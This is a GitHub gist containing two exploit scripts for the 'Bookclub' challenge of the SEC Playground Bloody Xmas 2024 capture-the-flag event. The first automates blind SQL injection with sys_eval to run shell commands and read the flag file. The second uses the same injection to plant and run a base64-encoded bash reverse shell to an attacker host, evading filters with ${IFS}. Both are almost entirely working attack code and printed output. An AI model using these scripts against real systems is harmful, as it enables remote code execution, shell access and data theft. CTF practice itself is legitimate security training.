Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active December 29, 2024 07:42
Show Gist options
  • Save pich4ya/54d1a9e957e5d85c53030de23aa6fc17 to your computer and use it in GitHub Desktop.
Save pich4ya/54d1a9e957e5d85c53030de23aa6fc17 to your computer and use it in GitHub Desktop.
Exploit for SEC Playground Bloody Xmas 2024 - Bookclub
#!/usr/bin/env python
# @author: longcat
# SEC Playground Bloody Xmas 2024 - Bookclub
# Exploit #2 - Read Flag w/ RCE (Reverse Shell)
import requests
import sys
import time
import argparse
import urllib3
# Suppress InsecureRequestWarning if intercepting HTTPS traffic
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def main():
# The string to split
import base64
# Step 1: Define your reverse shell command and encode it
command = "/bin/bash -i >& /dev/tcp/${LHOST}/4444 0>&1"
print(f"command: {command}")
command_b64 = base64.b64encode(command.encode()).decode()
# Step 2: Create a one-liner that decodes and runs the command with bash -i
# e.g. echo <base64_of_command> | base64 -d | bash -i
exec_cmd = f"echo {command_b64} | base64 -d | bash -i"
print(f"exec_cmd: {exec_cmd}")
# Step 3: Base64-encode the entire second command so you have a nested base64
payload_str = base64.b64encode(exec_cmd.encode()).decode()
print(f"Payload (to be split): {payload_str}")
# Chunk size
chunk_size = 5
# Split the string into 10-byte segments
chunks = [payload_str[i:i+chunk_size] for i in range(0, len(payload_str), chunk_size)]
# Common headers used for POST request
headers = {
"Accept-Encoding": "gzip, deflate, br",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"Host": "${RHOST}",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://${RHOST}",
"Referer": "http://${RHOST}/",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
# URL to send requests
url = "http://${RHOST}/"
# reset content of file a
cmd0=f"printf${{IFS}}\"\">a"
sql0=f"a' and ''=(sys_eval('{cmd0}'))#"
print(cmd0)
data_exec0 = {
"bookID": sql0
}
response_exec = requests.post(url, headers=headers, data=data_exec0,
proxies=proxies, # comment out if not using a proxy
verify=False # comment out if not intercepting HTTPS)
)
# 1) For each chunk, send a POST request with chunk appended to /tmp/q
for chunk in chunks:
cmd1=f"printf${{IFS}}\"{chunk}\">>a"
sql1=f"a' and ''=(sys_eval('{cmd1}'))#"
data = {
"bookID": sql1
}
response = requests.post(url, headers=headers, data=data,
proxies=proxies, # comment out if not using a proxy
verify=False # comment out if not intercepting HTTPS)
)
print(cmd1)
# 2) Send request to execute /tmp/q
cmd2=f"cat${{IFS}}a|base64${{IFS}}-d>b"
sql2=f"a' and ''=(sys_eval('{cmd2}'))#"
print(cmd2)
data_exec2 = {
"bookID": sql2
}
response_exec = requests.post(url, headers=headers, data=data_exec2,
proxies=proxies, # comment out if not using a proxy
verify=False # comment out if not intercepting HTTPS)
)
# 3
cmd3=f"cat${{IFS}}b|bash${{IFS}}-i"
sql3=f"a' and ''=(sys_eval('{cmd3}'))#"
print(cmd3)
data_exec3 = {
"bookID": sql3
}
response_exec = requests.post(url, headers=headers, data=data_exec3,
proxies=proxies, # comment out if not using a proxy
verify=False # comment out if not intercepting HTTPS)
)
print(f"[+] Exec request, Response Code: {response_exec.status_code}")
if __name__ == "__main__":
main()
# $ python bookclub_exploit_rce.py
# command: /bin/bash -i >& /dev/tcp/${LHOST}/4444 0>&1
# exec_cmd: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== | base64 -d | bash -i
# Payload (to be split): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
# printf${IFS}"">a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# printf${IFS}"AAAAA">>a
# cat${IFS}a|base64${IFS}-d>b
# cat${IFS}b|bash${IFS}-i
# [+] Exec request, Response Code: 200
#!/usr/bin/env python
# @author: longcat
# SEC Playground Bloody Xmas 2024 - Bookclub
# Exploit #1 - Read Flag w/ boolean-based blind SQLi
import requests
import sys
import time
import argparse
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from blessed import Terminal
# Suppress InsecureRequestWarning if intercepting HTTPS traffic
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET_URL = "http://${RHOST}/"
HEADERS = {
"Host": "${RHOST}",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://${RHOST}",
"Connection": "keep-alive",
"Referer": "http://${RHOST}/",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
}
TRUE_CONTENT_LENGTH = 8241
# Uncomment if routing requests via Burp Suite
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
BATCH_SIZE = 10
MAX_THREADS = 50
MAX_OUTPUT_LENGTH = 100000
# Initialize Blessed
term = Terminal()
# ============================
# HTTP & SQLI Helper Functions
# ============================
def send_payload_custom(book_id_payload, retries=3):
data = book_id_payload
for attempt in range(1, retries + 1):
try:
response = requests.post(
TARGET_URL,
headers=HEADERS,
data=data,
timeout=10,
# proxies=proxies, # comment out if not using a proxy
# verify=False # comment out if not intercepting HTTPS
)
content_length = int(response.headers.get("Content-Length", 0))
return (content_length == TRUE_CONTENT_LENGTH)
except requests.exceptions.RequestException:
if attempt < retries:
time.sleep(1)
else:
return False
def binary_search_ascii(position, command):
low, high = 10, 126 # includes newline(\n=10) up to tilde(~=126)
while low <= high:
mid = (low + high) // 2
payload_gt = f"bookID='OR'{mid}'<ASCII(SUBSTR((sys_eval(\"{command}\")),{position},1))#"
if send_payload_custom(payload_gt):
low = mid + 1
else:
payload_eq = f"bookID='OR'{mid}'=ASCII(SUBSTR((sys_eval(\"{command}\")),{position},1))#"
if send_payload_custom(payload_eq):
return chr(mid)
else:
high = mid - 1
return None
def extract_character(position, command):
ch = binary_search_ascii(position, command)
return (position, ch)
# ===================
# Main Extraction Loop
# ===================
def extract_output_multithreaded(command):
"""
Extracts sys_eval(command) in a multithreaded manner,
printing newly discovered text in real time (with real newlines).
No cursor repositioning, no overwriting—just append.
"""
output = {}
position = 1
stop_extraction = False
# Keep track of how many chars are already printed to avoid re-printing them
old_output_len = 0
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
while not stop_extraction and position <= MAX_OUTPUT_LENGTH:
batch_positions = range(position, position + BATCH_SIZE)
futures_map = {
executor.submit(extract_character, pos, command): pos
for pos in batch_positions
}
results = {}
failed_positions = []
for future in as_completed(futures_map):
pos, ch = future.result()
if ch:
results[pos] = ch
else:
failed_positions.append(pos)
for pos in sorted(batch_positions):
if pos in results:
output[pos] = results[pos]
elif pos in failed_positions:
stop_extraction = True
break
current_str = ''.join(output[p] for p in sorted(output))
# Print only the newly discovered substring
if len(current_str) > old_output_len:
new_part = current_str[old_output_len:]
# Just print it as-is (with real newlines), no rewriting
print(new_part, end='', flush=True)
old_output_len = len(current_str)
if failed_positions:
break
else:
position += BATCH_SIZE
time.sleep(0.1)
final_output = ''.join(output[p] for p in sorted(output))
return final_output
# ==============
# Main CLI logic
# ==============
def main():
parser = argparse.ArgumentParser(
description="Multithreaded Blind SQLi with Real-Time Output (Blessed, no newline replacement)"
)
parser.add_argument(
"command",
type=str,
help="Command to run via sys_eval(...)"
)
args = parser.parse_args()
command = args.command
command = 'ls$IFS/var/www/'
# flag_${RANDOM}.txt
command = 'cat$IFS/var/www/f*'
# The flag is web{${FLAG}}
print(term.clear + term.bold("SQL Injection Attack"))
print(f"Target command: {command}")
print("Extracting below (with real newlines):\n")
extracted = extract_output_multithreaded(command)
print("\n--- Extraction Complete ---")
print("Final Output:\n")
print(extracted)
if __name__ == "__main__":
main()
# $ python bookclub_exploit_read_flag.py x
# SQL Injection Attack
# Target command: cat$IFS/var/www/f*
# Extracting below (with real newlines):
# The flag is web{${FLAG}}
# --- Extraction Complete ---
# Final Output:
# The flag is web{${FLAG}}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment